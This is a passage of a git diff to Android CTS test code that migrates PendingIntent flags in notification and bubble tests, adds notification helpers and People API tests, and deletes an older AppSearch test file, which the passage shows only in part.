         Notification.BubbleMetadata metadata =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -737,7 +737,7 @@
     }
 
     public void testBubbleMetadataBuilder_shortcutBuilder_throwsForSetIntent() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         try {
             Notification.BubbleMetadata.Builder metadataBuilder =
                     new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
@@ -801,7 +801,7 @@
         new Canvas(b).drawColor(0xffff0000);
         Icon icon = Icon.createWithAdaptiveBitmap(b);
 
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon);
         Notification.BubbleMetadata metadata = metadataBuilder.build();
@@ -812,7 +812,7 @@
     public void testBubbleMetadataBuilder_noThrowForNonBitmapIcon() {
         Icon icon = Icon.createWithResource(mContext, R.drawable.ic_android);
 
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon);
         Notification.BubbleMetadata metadata = metadataBuilder.build();
@@ -821,8 +821,8 @@
     }
 
     public void testBubbleMetadataBuilder_replaceHeightRes() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -838,8 +838,8 @@
     }
 
     public void testBubbleMetadataBuilder_replaceHeightDp() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -964,7 +964,7 @@
     }
 
     private Notification.BubbleMetadata makeBubbleMetadata() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         return new Notification.BubbleMetadata.Builder(bubbleIntent,
                 Icon.createWithResource(mContext, 1))
diff --git a/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java b/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
index 8d1ab70..6a84d88 100644
--- a/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
+++ b/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
@@ -48,7 +48,7 @@
     }
 
     private RecoverableSecurityException build() {
-        final PendingIntent pi = PendingIntent.getActivity(getContext(), 42, new Intent(), 0);
+        final PendingIntent pi = PendingIntent.getActivity(getContext(), 42, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return new RecoverableSecurityException(new SecurityException("foo"), "bar",
                 new RemoteAction(Icon.createWithFilePath("/dev/null"), "title", "content", pi));
     }
diff --git a/tests/app/src/android/app/cts/WearableExtenderTest.java b/tests/app/src/android/app/cts/WearableExtenderTest.java
index 768eb25..bcdb36d 100644
--- a/tests/app/src/android/app/cts/WearableExtenderTest.java
+++ b/tests/app/src/android/app/cts/WearableExtenderTest.java
@@ -44,7 +44,7 @@
         final String dismissalId = "dismissal_id";
         final int contentActionIndex = 2;
         final Bitmap background = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification page1 = new Notification.Builder(mContext, "test id")
             .setSmallIcon(1)
             .setContentTitle("page1")
@@ -196,7 +196,7 @@
         final int contentActionIndex = 2;
         Notification.Action action = newActionBuilder().build();
         final Bitmap background = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification page1 = new Notification.Builder(mContext, "test id")
             .setSmallIcon(1)
             .setContentTitle("page1")
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java b/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java
new file mode 100644
index 0000000..2a6f5c3
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.content.ComponentName;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+public class FutureServiceConnection implements ServiceConnection {
+    private static final String TAG = "FutureServiceConnection";
+
+    private volatile CompletableFuture<IBinder> mFuture = new CompletableFuture<>();
+
+    public IBinder get(long timeoutMs) throws Exception {
+        return mFuture.get(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void onServiceConnected(ComponentName name, IBinder service) {
+        mFuture.complete(service);
+    }
+
+    @Override
+    public void onServiceDisconnected(ComponentName name) {
+        Log.w(TAG, name.flattenToShortString() + " disconnected");
+        mFuture = new CompletableFuture<>();
+    }
+}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/NotificationHelper.java b/tests/app/src/android/app/cts/android/app/cts/tools/NotificationHelper.java
new file mode 100644
index 0000000..e4a4721
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/NotificationHelper.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.app.NotificationManager;
+import android.app.PendingIntent.CanceledException;
+import android.app.stubs.TestNotificationListener;
+import android.content.Context;
+import android.service.notification.StatusBarNotification;
+
+import java.util.function.Supplier;
+
+public class NotificationHelper {
+    public static final long SHORT_WAIT_TIME = 100;
+    public static final long MAX_WAIT_TIME = 2000;
+
+    private final Context mContext;
+    private final NotificationManager mNotificationManager;
+    private Supplier<TestNotificationListener> mNotificationListener;
+
+    public NotificationHelper(Context context, Supplier<TestNotificationListener> listener) {
+        mContext = context;
+        mNotificationManager = mContext.getSystemService(NotificationManager.class);
+        mNotificationListener = listener;
+    }
+
+    public void clickNotification(int notificationId, boolean searchAll) throws CanceledException {
+        findPostedNotification(notificationId, searchAll).getNotification().contentIntent.send();
+    }
+
+    public StatusBarNotification findPostedNotification(int id, boolean all) {
+        // notification is a bit asynchronous so it may take a few ms to appear in
+        // getActiveNotifications()
+        // we will check for it for up to 1000ms before giving up
+        for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
+            StatusBarNotification n = findNotificationNoWait(id, all);
+            if (n != null) {
+                return n;
+            }
+            try {
+                Thread.sleep(SHORT_WAIT_TIME);
+            } catch (InterruptedException ex) {
+                // pass
+            }
+        }
+        return findNotificationNoWait(id, all);
+    }
+
+    public StatusBarNotification findNotificationNoWait(int id, boolean all) {
+        for (StatusBarNotification sbn : getActiveNotifications(all)) {
+            if (sbn.getId() == id) {
+                return sbn;
+            }
+        }
+        return null;
+    }
+
+    public StatusBarNotification[] getActiveNotifications(boolean all) {
+        if (all) {
+            return mNotificationListener.get().getActiveNotifications();
+        } else {
+            return mNotificationManager.getActiveNotifications();
+        }
+    }
+}
diff --git a/tests/app/src/android/app/people/cts/ConversationStatusTest.java b/tests/app/src/android/app/people/cts/ConversationStatusTest.java
new file mode 100644
index 0000000..2c644b9
--- /dev/null
+++ b/tests/app/src/android/app/people/cts/ConversationStatusTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.people.cts;
+
+import static android.app.people.ConversationStatus.ACTIVITY_GAME;
+import static android.app.people.ConversationStatus.AVAILABILITY_BUSY;
+
+import android.app.people.ConversationStatus;
+import android.content.Context;
+import android.graphics.drawable.Icon;
+import android.os.Parcel;
+import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+
+public class ConversationStatusTest extends AndroidTestCase {
+
+    private Context mContext;
+
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    public void testCreation()  {
+        final ConversationStatus cs =
+                new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                        .setIcon(Icon.createWithResource(mContext, android.R.drawable.btn_default))
+                        .setDescription("playing chess")
+                        .setAvailability(AVAILABILITY_BUSY)
+                        .setEndTimeMillis(1000)
+                        .setStartTimeMillis(100)
+                        .build();
+
+        assertEquals("id", cs.getId());
+        assertEquals(ACTIVITY_GAME, cs.getActivity());
+        assertEquals(AVAILABILITY_BUSY, cs.getAvailability());
+        assertEquals(100, cs.getStartTimeMillis());
+        assertEquals(1000, cs.getEndTimeMillis());
+        assertEquals(android.R.drawable.btn_default, cs.getIcon().getResId());
+        assertEquals("playing chess", cs.getDescription());
+    }
+
+    public void testParcelEmpty()  {
+        final ConversationStatus orig = new ConversationStatus.Builder("id", 100).build();
+
+        Parcel parcel = Parcel.obtain();
+        orig.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+
+        ConversationStatus cs = ConversationStatus.CREATOR.createFromParcel(parcel);
+
+        assertEquals("id", cs.getId());
+        assertEquals(100, cs.getActivity());
+        assertEquals(ConversationStatus.AVAILABILITY_UNKNOWN, cs.getAvailability());
+        assertEquals(-1, cs.getStartTimeMillis());
+        assertEquals(-1, cs.getEndTimeMillis());
+        assertNull(cs.getIcon());
+        assertNull(cs.getDescription());
+    }
+
+    public void testParcel()  {
+        final ConversationStatus orig =
+                new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                        .setIcon(Icon.createWithResource(mContext, android.R.drawable.btn_default))
+                        .setDescription("playing chess")
+                        .setAvailability(AVAILABILITY_BUSY)
+                        .setEndTimeMillis(1000)
+                        .setStartTimeMillis(100)
+                .build();
+
+        Parcel parcel = Parcel.obtain();
+        orig.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+
+        ConversationStatus cs = ConversationStatus.CREATOR.createFromParcel(parcel);
+
+        assertEquals("id", cs.getId());
+        assertEquals(ACTIVITY_GAME, cs.getActivity());
+        assertEquals(AVAILABILITY_BUSY, cs.getAvailability());
+        assertEquals(100, cs.getStartTimeMillis());
+        assertEquals(1000, cs.getEndTimeMillis());
+        assertEquals(android.R.drawable.btn_default, cs.getIcon().getResId());
+        assertEquals("playing chess", cs.getDescription());
+    }
+}
+
diff --git a/tests/app/src/android/app/people/cts/PeopleManagerTest.java b/tests/app/src/android/app/people/cts/PeopleManagerTest.java
new file mode 100644
index 0000000..adc608c
--- /dev/null
+++ b/tests/app/src/android/app/people/cts/PeopleManagerTest.java
@@ -0,0 +1,259 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.people.cts;
+
+import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
+import static android.app.people.ConversationStatus.ACTIVITY_ANNIVERSARY;
+import static android.app.people.ConversationStatus.ACTIVITY_GAME;
+import static android.app.people.ConversationStatus.AVAILABILITY_AVAILABLE;
+import static android.app.people.ConversationStatus.AVAILABILITY_BUSY;
+
+import static java.lang.Thread.sleep;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Person;
+import android.app.people.ConversationStatus;
+import android.app.people.PeopleManager;
+import android.app.stubs.R;
+import android.app.stubs.SendBubbleActivity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.ShortcutManager;
+import android.graphics.drawable.Icon;
+import android.os.SystemClock;
+import android.test.AndroidTestCase;
+import android.util.ArraySet;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.UUID;
+
+
+public class PeopleManagerTest extends AndroidTestCase {
+    final String TAG = PeopleManagerTest.class.getSimpleName();
+    static final String NOTIFICATION_CHANNEL_ID = "PeopleManagerTest";
+    static final String PERSON_CHANNEL_ID = "PersonTest";
+
+    private static final String SHARE_SHORTCUT_ID = "shareShortcut";
+    private static final String SHARE_SHORTCUT_ID2 = "shareShortcut2";
+    private static final String SHARE_SHORTCUT_CATEGORY =
+            "android.app.stubs.SHARE_SHORTCUT_CATEGORY";
+
+    private static final long TIMEOUT_MS = 4000;
+
+    private NotificationManager mNotificationManager;
+    private ShortcutManager mShortcutManager;
+    private PeopleManager mPeopleManager;
+    private String mId;
+
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        // This will leave a set of channels on the device with each test run.
+        mId = UUID.randomUUID().toString();
+        mNotificationManager = mContext.getSystemService(NotificationManager.class);
+        mShortcutManager = mContext.getSystemService(ShortcutManager.class);
+        mPeopleManager = mContext.getSystemService(PeopleManager.class);
+        assertNotNull(mPeopleManager);
+
+        createDynamicShortcut();
+        mNotificationManager.createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, "name", IMPORTANCE_DEFAULT));
+        NotificationChannel personChannel =
+                new NotificationChannel(PERSON_CHANNEL_ID, "person", IMPORTANCE_DEFAULT);
+        personChannel.setConversationId(NOTIFICATION_CHANNEL_ID, SHARE_SHORTCUT_ID);
+        mNotificationManager.createNotificationChannel(personChannel);
+
+        mNotificationManager.notify(177, getConversationNotification().build());
+        sleep(500);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mNotificationManager.cancelAll();
+
+        List<NotificationChannel> channels = mNotificationManager.getNotificationChannels();
+        // Delete all channels.
+        for (NotificationChannel nc : channels) {
+            if (NotificationChannel.DEFAULT_CHANNEL_ID.equals(nc.getId())) {
+                continue;
+            }
+            mNotificationManager.deleteNotificationChannel(nc.getId());
+        }
+        deleteShortcuts();
+    }
+
+    /** Creates a dynamic, longlived, sharing shortcut. Call {@link #deleteShortcuts()} after. */
+    private void createDynamicShortcut() {
+        Person person = new Person.Builder()
+                .setBot(false)
+                .setIcon(Icon.createWithResource(mContext, R.drawable.icon_black))
+                .setName("BubbleBot")
+                .setImportant(true)
+                .build();
+
+        Set<String> categorySet = new ArraySet<>();
+        categorySet.add(SHARE_SHORTCUT_CATEGORY);
+        Intent shortcutIntent = new Intent(mContext, SendBubbleActivity.class);
+        shortcutIntent.setAction(Intent.ACTION_VIEW);
+
+        ShortcutInfo shortcut = new ShortcutInfo.Builder(mContext, SHARE_SHORTCUT_ID)
+                .setShortLabel(SHARE_SHORTCUT_ID)
+                .setIcon(Icon.createWithResource(mContext, R.drawable.icon_black))
+                .setIntent(shortcutIntent)
+                .setPerson(person)
+                .setCategories(categorySet)
+                .setLongLived(true)
+                .build();
+
+        ShortcutInfo shortcut2 = new ShortcutInfo.Builder(mContext, SHARE_SHORTCUT_ID2)
+                .setShortLabel(SHARE_SHORTCUT_ID2)
+                .setIcon(Icon.createWithResource(mContext, R.drawable.icon_black))
+                .setIntent(shortcutIntent)
+                .setPerson(person)
+                .setCategories(categorySet)
+                .setLongLived(true)
+                .build();
+
+        mShortcutManager.addDynamicShortcuts(Arrays.asList(shortcut, shortcut2));
+    }
+
+    private void deleteShortcuts() {
+        mShortcutManager.removeAllDynamicShortcuts();
+        mShortcutManager.removeLongLivedShortcuts(Collections.singletonList(SHARE_SHORTCUT_ID));
+    }
+
+    private Notification.Builder getConversationNotification() {
+        Person person = new Person.Builder()
+                .setName("bubblebot")
+                .build();
+        Notification.Builder nb = new Notification.Builder(mContext, PERSON_CHANNEL_ID)
+                .setContentTitle("foo")
+                .setShortcutId(SHARE_SHORTCUT_ID)
+                .setStyle(new Notification.MessagingStyle(person)
+                        .setConversationTitle("Bubble Chat")
+                        .addMessage("Hello?",
+                                SystemClock.currentThreadTimeMillis() - 300000, person)
+                        .addMessage("Is it me you're looking for?",
+                                SystemClock.currentThreadTimeMillis(), person)
+                )
+                .setSmallIcon(android.R.drawable.sym_def_app_icon);
+        return nb;
+    }
+
+    public void testAddOrUpdateStatus_add() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+        assertTrue(statuses.contains(cs));
+    }
+
+    public void testAddOrUpdateStatus_update() throws Exception {
+        ConversationStatus.Builder cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_AVAILABLE);
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs.build());
+
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+        assertTrue(statuses.contains(cs.build()));
+
+        cs.setStartTimeMillis(100).setDescription("Playing chess");
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs.build());
+
+        statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+        assertTrue(statuses.toString(), statuses.contains(cs.build()));
+    }
+
+    public void testGetStatuses() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_BUSY)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs2);
+
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+        assertTrue(statuses.contains(cs));
+        assertTrue(statuses.contains(cs2));
+    }
+
+    public void testGetStatuses_multipleShortcuts() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_BUSY)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID2, cs2);
+
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+        List<ConversationStatus> statuses2 = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID2);
+        assertTrue(statuses.contains(cs));
+        assertTrue(statuses2.contains(cs2));
+    }
+
+    public void testClearStatuses() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_BUSY)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs2);
+
+        mPeopleManager.clearStatuses(SHARE_SHORTCUT_ID);
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+        assertTrue(statuses.isEmpty());
+    }
+
+    public void testClearStatus() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_BUSY)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs2);
+
+        mPeopleManager.clearStatus(SHARE_SHORTCUT_ID, cs2.getId());
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+        assertTrue(statuses.contains(cs));
+        assertFalse(statuses.contains(cs2));
+    }
+}
diff --git a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
index ca4331a..fbc2d93 100644
--- a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
+++ b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
@@ -139,6 +139,13 @@
         RequestVerifier cb = new RequestVerifier(mReporter);
         client.registerPredictionUpdates(Executors.newSingleThreadExecutor(), cb);
 
+        // Introduce extra delay to ensure AppPredictor#registerPredictionUpdates finishes
+        // execution before calling AppPredictor#requestPredictionUpdate in the following line.
+        // Note that the delay is only needed because of the way the test case is structured.
+        // In production code, AppPredictor#requestPredictionUpdate is invoked in the callback
+        // of AppPredictor#registerPredictionUpdates, which already ensures sequential execution.
+        SystemClock.sleep(500);
+
         // Verify some updates
         assertTrue(cb.requestAndWaitForTargets(createPredictions(),
                 () -> client.requestPredictionUpdate()));
diff --git a/tests/appsearch/Android.bp b/tests/appsearch/Android.bp
index 2bb810d..067a825 100644
--- a/tests/appsearch/Android.bp
+++ b/tests/appsearch/Android.bp
@@ -16,6 +16,7 @@
     name: "CtsAppSearchTestCases",
     defaults: ["cts_defaults"],
     static_libs: [
+        "AppSearchTestUtils",
         "androidx.test.ext.junit",
         "androidx.test.rules",
         "compatibility-device-util-axt",
diff --git a/tests/appsearch/OWNERS b/tests/appsearch/OWNERS
index 6be8bd5..f2060d9 100644
--- a/tests/appsearch/OWNERS
+++ b/tests/appsearch/OWNERS
@@ -1,3 +1,2 @@
 # Bug component: 755061
-adorokhine@google.com
-sudheersai@google.com
+include platform/frameworks/base:/apex/appsearch/OWNERS
diff --git a/tests/appsearch/src/com/android/cts/appsearch/AppSearchManagerTest.java b/tests/appsearch/src/com/android/cts/appsearch/AppSearchManagerTest.java
deleted file mode 100644
index f963b05..0000000
--- a/tests/appsearch/src/com/android/cts/appsearch/AppSearchManagerTest.java
+++ /dev/null
@@ -1,284 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.appsearch;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.appsearch.AppSearchBatchResult;
-import android.app.appsearch.AppSearchEmail;
-import android.app.appsearch.AppSearchManager;
-import android.app.appsearch.AppSearchResult;
-import android.app.appsearch.AppSearchSchema;
-import android.app.appsearch.AppSearchSchema.PropertyConfig;
-import android.app.appsearch.GenericDocument;
-import android.app.appsearch.GetByUriRequest;
-import android.app.appsearch.PutDocumentsRequest;
-import android.app.appsearch.RemoveByUriRequest;
-import android.app.appsearch.SearchResult;
-import android.app.appsearch.SearchSpec;
-import android.app.appsearch.SetSchemaRequest;
-import android.content.Context;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import com.google.common.collect.ImmutableList;
-
-import junit.framework.AssertionFailedError;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.List;
-
-@RunWith(AndroidJUnit4.class)
-public class AppSearchManagerTest {
-    private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
-    private final AppSearchManager mAppSearch = mContext.getSystemService(AppSearchManager.class);
-
-    @Before
-    public void setUp() {
-        // Remove all documents from any instances that may have been created in the tests.
-        checkIsSuccess(mAppSearch.setSchema(
-                new SetSchemaRequest.Builder().setForceOverride(true).build()));
-    }
-
-    @Test
-    public void testGetService() {
-        assertThat(mContext.getSystemService(Context.APP_SEARCH_SERVICE)).isNotNull();
-        assertThat(mContext.getSystemService(AppSearchManager.class)).isNotNull();
-        assertThat(mAppSearch).isNotNull();
-    }
-
-    @Test
-    public void testSetSchema() {
-        AppSearchSchema emailSchema = new AppSearchSchema.Builder("Email")
-                .addProperty(new AppSearchSchema.PropertyConfig.Builder("subject")
-                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
-                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
-                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
-                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
-                        .build()
-                ).addProperty(new AppSearchSchema.PropertyConfig.Builder("body")
-                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
-                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
-                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
-                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
-                        .build()
-                ).build();
-        checkIsSuccess(mAppSearch.setSchema(
-                new SetSchemaRequest.Builder().addSchema(emailSchema).build()));
-    }
-
-    @Test
-    public void testPutDocuments() {
-        // Schema registration
-        checkIsSuccess(mAppSearch.setSchema(
-                new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build()));
-
-        // Index a document
-        AppSearchEmail email = new AppSearchEmail.Builder("uri1")
-                .setFrom("from@example.com")
-                .setTo("to1@example.com", "to2@example.com")
-                .setSubject("testPut example")
-                .setBody("This is the body of the testPut email")
-                .build();
-
-        AppSearchBatchResult result = mAppSearch.putDocuments(
-                new PutDocumentsRequest.Builder().addGenericDocument(email).build());
-        checkIsSuccess(result);
-        assertThat(result.getSuccesses()).containsExactly("uri1", null);
-        assertThat(result.getFailures()).isEmpty();
-    }
-
-    @Test
-    public void testGetDocuments() {
-        // Schema registration
-        checkIsSuccess(mAppSearch.setSchema(
-                new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build()));
-
-        // Index a document
-        AppSearchEmail inEmail =
-                new AppSearchEmail.Builder("uri1")
-                        .setFrom("from@example.com")
-                        .setTo("to1@example.com", "to2@example.com")
-                        .setSubject("testPut example")
-                        .setBody("This is the body of the testPut email")
-                        .build();
-        checkIsSuccess(mAppSearch.putDocuments(
